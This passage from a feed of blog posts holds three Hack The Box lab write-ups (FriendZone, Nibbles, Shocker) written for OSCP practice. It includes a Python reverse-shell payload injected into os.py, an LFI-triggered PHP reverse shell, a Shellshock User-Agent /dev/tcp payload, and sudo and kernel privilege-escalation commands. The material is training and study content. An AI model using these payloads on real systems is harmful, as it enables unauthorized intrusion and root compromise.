src="https://cdn-images-1.medium.com/max/649/1*kZT0sTxv-TjeG-z-JuNxvg.png" /><figcaption>successful login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*f0iYsLqyoa04Y11goQtsLg.png" /><figcaption>/dashboard.php</figcaption></figure><p>This page allows you to view images on the site and seems promising to give us an exploiting point.</p><h3>Exploitation</h3><h4>Initial Foothold</h4><p>The dashboard.php page gives us instructions on how to view an image. Lets add it to the URL:</p><blockquote>https://administrator1.friendzone.red/dashboard.php<strong>?image_id=a.jpg&amp;pagename=timestamp</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQDD7z8jlc8kj39hGkeJAg.png" /><figcaption>executing instructions</figcaption></figure><p>pagename seems to be running a timestamp script that generates a timestamp and displays it on the page. it takes the filename “timestamp” and appends “.php” to it and then executes the script.</p><p>So pagename could be vulnerable to LFI (Local file include).To test it lets upload a simple php file to /etc/Development(READ AND WRITE) in shares and try calling it in the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*nFh2LtUJ8gf-fkXYZlvfxQ.png" /><figcaption>test.php</figcaption></figure><blockquote>smbclient -N //10.10.10.123/Development</blockquote><blockquote>put test.php</blockquote><blockquote><a href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/test">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=<strong>/etc/Development/test</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*S09byoCqpUmiKM1KQFI2Kg.png" /><figcaption>test script successful</figcaption></figure><p>Perfect, it’s working! Lets get our default web shell from kali and edit the ip address and upload it similar to how we did test.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*TZRWoVmeu12jtPF0w8tkXA.png" /><figcaption>upload reverse shell through smb</figcaption></figure><blockquote><a href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/php-reverse-shell">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/php-reverse-shell</a></blockquote><p>The reverse shell script is executed and we have a Shell as www-data!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jp47suCf0Y_lHENPr7E-0Q.png" /><figcaption>www-data shell</figcaption></figure><p>in /var/www,we find creds in the mysql_data.conf file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*HdfdXmv9IK9rZxx5lWqseg.png" /><figcaption>mysql_data.conf</figcaption></figure><p>we managed to ssh in with the credentials.</p><blockquote>ssh friend@10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YvOHzpsOSMrE3Ej35VpUKg.png" /><figcaption>ssh login</figcaption></figure><p>Grab the user flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*clj503xORi3uvvgEiTccgA.png" /><figcaption>user.txt</figcaption></figure><h4>Privilege Escalation — using Python Library Hijack</h4><p>We executed a <a href="https://github.com/DominicBreuker/pspy">pspy</a> tool script which we uploaded through /etc/Development, moved and executed it in /tmp</p><blockquote>./pspy64</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*kUibpQWifMxS0jh9Q8yHGg.png" /><figcaption>./pspy64</figcaption></figure><p>It seems the reporter.py script is getting executed every couple of minutes as a scheduled task.</p><p>Lets enumerate on this</p><blockquote>ls -la /opt/server_admin/</blockquote><blockquote>cat /opt/server_admin/reporter.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*tvYSsMpYPerSWFR_JvB5zA.png" /><figcaption>reporter.py permissions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3cr_nDs67KVh4qFKIV4GQ.png" /><figcaption>reporter.py</figcaption></figure><p>We have read permission on the file and most of the script is commented out ,but we see import os which is interesting.</p><blockquote>locate os.py</blockquote><blockquote>cd /usr/lib/python2.7</blockquote><blockquote>ls -la | grep os.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*EvGf5RzCxvSYkIHZ21Rb0Q.png" /><figcaption>os.py location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*keI-NHWxcQvg1Evy_oj1nA.png" /><figcaption>full permission for os.py</figcaption></figure><p>We have rwx privileges on the os.py module. So we can try to upload a reverse shell to the script and wait for the scheduled task to run and catch the shell with nc.</p><p>Start a netcat listener on the attack machine.</p><blockquote>nc -nlvp 4444</blockquote><p>Lets add the reverse shell <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python">payload</a>(change ip and port)to the end of the os.py script and save it.</p><blockquote>import socket,subprocess,os;<br>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);<br>s.connect((“10.10.14.13”,4444));<br>dup2(s.fileno(),0); <br>dup2(s.fileno(),1); <br>dup2(s.fileno(),2); <br>p=subprocess.call([“/bin/sh”,”-i”]);</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*nmFMqdDSqdNrN0Hywgbl3w.png" /><figcaption>os.py</figcaption></figure><p>We wait for the scheduled task to run the reporter.py that calls the os.py module which contains our reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*cylLxjrUHISi9vMJf2UYfw.png" /><figcaption>root shell</figcaption></figure><p>And we get are ROOT!</p><p>Grab the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*ApZvYYXheq3hAuHV3Xuq7A.png" /><figcaption>root.txt</figcaption></figure><h3>Conclusion</h3><p>This box was a little bit challenging just due to the sheer amount of rabbit holes.So,it is important not to lose focus when enumerating each service/Web page and test things as they come.</p><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*yQnSBTenAfIT835hnIHnOQ.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=208d444a97cc" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/oscp-preparation-hack-the-box-7-friendzone-208d444a97cc">OSCP Preparation — Hack The Box #7 FriendZone</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #6 Nibbles]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-6-nibbles-b40e4e45d7a6?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b40e4e45d7a6</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Thu, 06 Apr 2023 10:00:13 GMT</pubDate>
            <atom:updated>2023-04-12T13:44:46.022Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #6 Nibbles</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lXWGwCWqgbusfQTojJq0Ww.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 6th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.75</blockquote><ul><li><strong>sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 22 and 80 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*EaK-DQH84ku6LxdWtJ5Yyg.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.75</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>all ports seem to be filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*hLrbHmxc1KLIw2tRXehPTg.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 22,80 -oA Nmap/fullscan 10.10.10.75</blockquote><ul><li><strong>sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*eLoD9YODYOD29PILjsq67g.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 22</strong>: ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2.</p><p><strong>Port 80</strong>: http Apache httpd 2.4.18.</p><h3>Enumeration</h3><h4>SSH (Port 22)</h4><p>This OpenSSH is the same version as we found in our previous box shocker. If only we have a OS and kernel version we can be completely sure if it is vulnerable to an exploit.So, we will come back to this if other methods don’t pan out well.</p><h4>HTTP(Port 80)</h4><p>Lets have a look at the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*w7z1CBO8b6uY5eGuHt_IkQ.png" /><figcaption>10.10.10.75</figcaption></figure><p>Checking the Source code, we got a directory path revealed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*Ak6eFSPcI6OGBCZkG4K1SQ.png" /><figcaption>source code</figcaption></figure><p>Lets go to /nibbleblog directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QyB0sm3wlcA9MXLB_TZvPg.png" /><figcaption>/nibbleblog</figcaption></figure><p>Let’s google and see the Nibbleblog website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*oiVcheNwnR9-4RfQb7J-sQ.png" /><figcaption>Nibbleblog website</figcaption></figure><p>It is an open-source tool for creating blogs using PHP. Since it is openly available to everyone, it could have known vulnerabilities.To check if this tool is vulnerable,we need to know its version number.</p><p>Therefore, we’ll run gobuster to enumerate directories.</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.75/nibbleblog -t 200</blockquote><p>And we get quite a good amount of useful directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R_rAzA9yZ9Vg3kVrogmrvQ.png" /><figcaption>gobuster</figcaption></figure><p>/README directory gives the nibble’s version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*c1pfv0opVaN-o_hy3ah6xw.png" /><figcaption>/README</figcaption></figure><p>I had a look through /content and managed to find the username as “admin” which could be very helpful.</p><blockquote><a href="http://10.10.10.75/nibbleblog/content/private/users.xml">http://10.10.10.75/nibbleblog/content/private/users.xml</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*WTsoEJNPE7Y-lbomfaLwsQ.png" /><figcaption>users.xml</figcaption></figure><p>Googling the name of the software and version ,We find there is a possible shell upload vulnerability : <a href="https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html">NibbleBlog 4.0.3 Shell Upload</a>.</p><h3>Exploitation</h3><h4>Initial Foothold</h4><p>Lets have a look at the <a href="https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html">shell</a> upload exploit page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*k4OijcL1AbwMC8JPJyXV4w.png" /><figcaption>exploit info</figcaption></figure><p>Great, it has code execution vulnerability. To activate it we need to upload our PHP web shell.But first we need Admin Credentials to get access and perform our exploitation.</p><p>Lets go to the admin page:</p><blockquote><a href="http://10.10.10.75/nibbleblog/admin.php">http://10.10.10.75/nibbleblog/admin.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*Ubd9oeBWpr0xuibKySI1rw.png" /><figcaption>admin.php</figcaption></figure><p>We need valid credentials to log in this admin panel. we already know the username, so I tried a few passwords and eventually found the password to be nibbles.</p><p>So, The <strong><em>admin</em></strong> username and <strong><em>nibbles </em></strong>password<strong><em> </em></strong>logged in successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*JRDpWXYWQMcXHvS5kMCqhw.png" /><figcaption>successful login</figcaption></figure><p>Next, we need to navigate to the My Image plugin. Click on Plugins &gt; My image &gt; Configure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*PW9PFLa2gKv0R8v_1jgILw.png" /><figcaption>Plugins</figcaption></figure><p>In Kali , we have default web shell “ under /usr/share/webshell/php/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*EeaRCee3sQW1tzOxn77mxw.png" /><figcaption>default webshell</figcaption></figure><p>Let’s now edit the exploit file and change the 2 values below to our Kali IP address and any port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*1qYYy0OKfUwKj5zvudX5FA.png" /><figcaption>exploit script</figcaption></figure><p>Start up a “nc” listener on attack machine:</p><blockquote>nc -nlvp 3333</blockquote><p>Now, upload the reverse shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*eV0Z591PT-aZ9Mveba--UA.png" /><figcaption>upload shell</figcaption></figure><p>In the browser, navigate to the image we just uploaded to run the reverse shell script.</p><blockquote><a href="http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php">http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php</a></blockquote><p>We have a low privileged shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeW9IFMq2-GYrSG4-ayNiQ.png" /><figcaption>low privileged shell</figcaption></figure><p>Let’s upgrade the shell to a fully interactive shell.</p><blockquote>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</blockquote><p>I have used python3 to upgrade the shell. Now, press CTRL+Z to suspend this shell and back to Kali. Type the below command in your Kali:</p><blockquote>stty raw -echo;fg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*mCvFQPy9yZV9zP823-lwrA.png" /><figcaption>shell upgrade</figcaption></figure><p>Now we have a fully interactive shell with tab completion.</p><p>Grab the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*2uRmCZ50NSv2kHfeTdnIDQ.png" /><figcaption>user.txt</figcaption></figure><p>Now we need to escalate privileges.</p><h4>Privilege Escalation — using sudo</h4><p>Lets Find out what privileges we have.</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*sfgeNdkki63-er6g8oTFeQ.png" /><figcaption>check privileges</figcaption></figure><p>We can run the script monitor.sh in the above specified directory as root without having to enter a root password which is amazing.</p><p>When i tried to access the directory it didn’t exist apparently so i created the exact path of the directory.</p><blockquote>mkdir -p home/nibbler/personal/stuff</blockquote><blockquote>cd /home/nibbler/personal/stuff</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*gi1r2eBNKG76C_6FSk6Q0w.png" /><figcaption>create directory</figcaption></figure><p>Now we have to add the following code in “monitor.sh”and change its file permission to execute and run.</p><blockquote>echo ‘/bin/bash’ &gt; monitor.sh</blockquote><blockquote>chmod +x monitor.sh</blockquote><blockquote>sudo ./monitor.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*wXYVvTzTtrMfp4Jiemaa9Q.png" /><figcaption>execute monitor.sh</figcaption></figure><p>We are ROOT!</p><p>Grab the Root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*rZixMWQkMH0oVM8ZGPGLaA.png" /><figcaption>root.txt</figcaption></figure><h4>Privilege Escalation — using kernel exploit</h4><p>First we need to clone into the <a href="https://github.com/rebootuser/LinEnum.git">LinuxEnum</a> repository and start a http server to send the script to the target machine</p><blockquote>python3 -m http.server 8000</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*gVCIw14FVNlLi65JdGbWhw.png" /><figcaption>http server</figcaption></figure><p>Now we use wget to receive the file,give it execute permission and run to enumerate all the information about the machine.</p><blockquote>/usr/bin/wget http://10.10.14.7:8000/LinEnum.sh</blockquote><blockquote>chmod +x LinEnum.sh</blockquote><blockquote>./LinEnum.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*hadfl4uOshmIskYGSktftg.png" /><figcaption>execute LinEnum.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMBr2cUYWqI-meyCdBGMlg.png" /><figcaption>Kernel info</figcaption></figure><p>With the Linux kernel version and Ubuntu version we find a suitable exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAHG99cIqVZs5jTJpZbdmA.png" /><figcaption>kernel exploit</figcaption></figure><p>Like before, we transfer the exploit with http server</p><blockquote>python3 -m http.server 8000</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*wWQz0mo2eV6ichwz4RcObw.png" /><figcaption>http server</figcaption></figure><p>We receive the file in the target machine and compiled it</p><blockquote>/usr/bin/wget http://10.10.14.7:8000/44298.c</blockquote><blockquote>gcc -o exploit 44298.c</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*FTgb5iqFBXDkWS56_8jY6Q.png" /><figcaption>compile the exploit</figcaption></figure><p>Now we execute the exploit.</p><blockquote>./exploit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*jrD-XEPmWpZ1_w1tWF6Bwg.png" /><figcaption>execute exploit</figcaption></figure><p>And we are ROOT again!</p><h3>Lessons Learned</h3><p>Another easy box,but quite interesting.To gain a initial foothold of the machine, first we needed the admin password which was the machines name apparently and then exploit a vulnerability in the installed Nibbleblog version.</p><p>The application was using weak authentication credentials and a vulnerable “My image” plugin in the application allowed us to run a reverse shell back to our attack machine. To escalate the privileges to root, we used sudo permission to execute a script which didn’t even exist. This allowed us to run arbitrary commands with root privileges. Also,we managed to get root with the kernel version.</p><p>Hence, the remediation we need to do is to use strong authentication credentials and patching the software. In this case,since the application has reached its end life, we could remove the “My image” plugin so that the attacker cannot exploit this specific vulnerability. The administrator should have conformed to the principle of least privilege and refrained from permitting the regular users with the ability to run script with root privileges.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*oL0Sn8oKnxU519Vjm9j2_A.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b40e4e45d7a6" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-6-nibbles-b40e4e45d7a6">OSCP Preparation — Hack The Box #6 Nibbles</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #5 Shocker]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-5-shocker-d4c5393eadc?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4c5393eadc</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Sun, 02 Apr 2023 13:44:27 GMT</pubDate>
            <atom:updated>2023-04-10T10:20:35.321Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #5 Shocker</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZESU5QXEU9QZmwTjdwupQ.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 5th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.56</blockquote><ul><li><strong>-sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 80 and 2222 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*qWn35u71ncv1U6UwCfCE7Q.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.56</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>all ports seem to be filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*-z0bAq9SYSTg4WHKJfyHmw.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 80,2222 -oA Nmap/fullscan 10.10.10.56</blockquote><ul><li><strong>sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*PmiO315C0Jxw1VgqNi6AyQ.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 80</strong>: http Apache httpd 2.4.18.</p><p><strong>Port 2222</strong>: ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2.</p><p>So as per our recon ,we potentially have 2 points of entry to this machine.</p><h3>Enumeration</h3><h4>SSH (Port 2222)</h4><p>We use searchsploit to see if there are any vulnerabilities.</p><blockquote>searchsploit OpenSSH 7.2p2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILG67_U0DBtGPkTDqswMEw.png" /><figcaption>searchsploit</figcaption></figure><p>There are quite bit of possible exploits for username enumeration but it is a non-standard port(2222) for SSH usually we see it on the default port of 22.So it may or may not be vulnerable and potentially could lead us to a rabbit hole.</p><h4>HTTP(Port 80)</h4><p>Lets visit the Apache web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*yvciDwmnLdI-9QrnS0KCKw.png" /><figcaption>Apache web server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*5kV_Kbi1zG3lJbECKWQbuA.png" /><figcaption>source code</figcaption></figure><p>we pretty much get an empty page with an image and source code doesn’t link to anything</p><p>Therefore, we’ll run gobuster to enumerate directories.</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FAl_O6hnwNhrlKxYM39TJg.png" /><figcaption>gobuster</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*St_xfXrovwqHH1S6xP5l0g.png" /><figcaption>/server-status</figcaption></figure><p>We get one directory which we dont have permissions to access.</p><p>Lets try a quick dirb scan to see if Gobuster has missed anything.</p><blockquote>dirb <a href="http://10.10.10.56/">http://10.10.10.56</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*7i_swvjZOFxnh62Y21dHug.png" /><figcaption>dirb</figcaption></figure><p>And immediately , dirb found another directory: /cgi-bin/</p><p>This box could well be vulnerable to the Shellshock bash remote code execution vulnerability. This vulnerability affected web servers utilizing CGI (Common Gateway Interface), which is a system for generating dynamic web content. This usually involved directories such as /cgi-sys, /cgi-mod, /cgi-bin, etc.</p><p>/cgi-sys and /cgi-mod do not exist on the web server. However /cgi-bin does. It was very interesting to see the behaviour of the web server when I add /cgi-bin versus /cgi-bin/ to the URL path as you can see in the images below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*R7jh7AwYJ2CtKRIC97vkVQ.png" /><figcaption>/cgi-bin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*QNaBNviGrzxbwe-h1Hm8KA.png" /><figcaption>/cgi-bin/</figcaption></figure><p>/cgi-bin/ gives a 403 (you don’t have access to this resource) and /cgi-bin gives 404 (resource not found). It seems that if we don’t add the slash “/” at the end of the URL, the server is interpreting it as a file instead of a directory.</p><p>Lets try adding “-f” flag option in gobuster to force adding the / to the end of the directories to confirm our theory.</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -f -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q8FjDOu_7Ic1AYPUE5SUwg.png" /><figcaption>gobuster with “-f” flag</figcaption></figure><p>And yes now it does find the /cgi-bin/ directory.</p><p>Lets enumurate more on the /cgi-bin/ directory to see if we can find any more files with extensions — sh , cgi,pl</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -x sh,cgi,pl -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRfmt2CMspUqTAlqVF_i3w.png" /><figcaption>gobuster with extensions</figcaption></figure><p>And within seconds gobuster finds a script called user.sh.</p><p>We navigate to the the script and see whats inside:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GZHY_dvFKZiyUhL1jKQwg.png" /><figcaption>“user.sh” downloaded</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*VbmTRPb3065vj5Lj3KMsfQ.png" /><figcaption>user.sh</figcaption></figure><p>Lets start burp and send a request through to the repeater and see its response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*goUsytNNxv6NGdBHddPVaw.png" /><figcaption>burp repeater</figcaption></figure><blockquote>nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GOJpDykN7dtlgVm1auDxQ.png" /><figcaption>nmap script scan</figcaption></figure><p>Running a nmap script scan finds the server to be vulnerable to the shellshock vulnerability which is great.</p><h3>Exploitation</h3><h4>Initial Foothold</h4><p>We are going to exploit the vulnerability using burp suite and catch the shell with netcat.</p><p>First we need to add the following string in the User Agent field in Burp:</p><blockquote>() { :; }; /bin/bash -i &gt;&amp; /dev/tcp/10.10.14.4/1234 0&gt;&amp;1</blockquote><p>Then start up a “nc” listener on your attack machine</p><blockquote>nc -nvlp 1234</blockquote><p>Lets send the exploit through burp now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*dYmEfZeID2YmUqlzbhuG_w.png" /><figcaption>burp exploitation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*Jdw9gV8uovLMNx-m4kseGg.png" /><figcaption>low privileged shell</figcaption></figure><p>And we get a low privileged shell — Shelly</p><p>Lets grab the User flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*DMPFb_5Xl9I2QUdmB8og1Q.png" /><figcaption>user.txt</figcaption></figure><h4>Privilege Escalation</h4><p>Lets check what permissions we have:</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Ujh86-a7Ofd96O6C28uZ5Q.png" /><figcaption>check permission</figcaption></figure><p>Lets go to <a href="https://gtfobins.github.io/gtfobins/perl/">GTFObins</a> and search for ‘perl’ and we get a following command to get a shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*pbgehHZK4DJKwZ5wu3pBtQ.png" /><figcaption>GTFOBINS “perl”</figcaption></figure><p>Lets execute the command and see if it escalates the privileges:</p><blockquote>sudo perl -e ‘exec “/bin/sh”;’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*ySvaZjyvuLi3xLWJpCApwQ.png" /><figcaption>sudo perl exploit</figcaption></figure><p>And we are ROOT!</p><p>Lets grab our root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*JdTISHtHDa7RCQcQJVpf1g.png" /><figcaption>root.txt</figcaption></figure><h3>Lessons Learned</h3><p>This box definitely gave me a good learning curve.If we are not getting the desired results in one tool, its always good to try another one as in our case dirb manage to find /cgi-bin directory.</p><p>There were quite a number of vulnerabilities we came across this machine,First up a web server insecure misconfiguration which denied access to 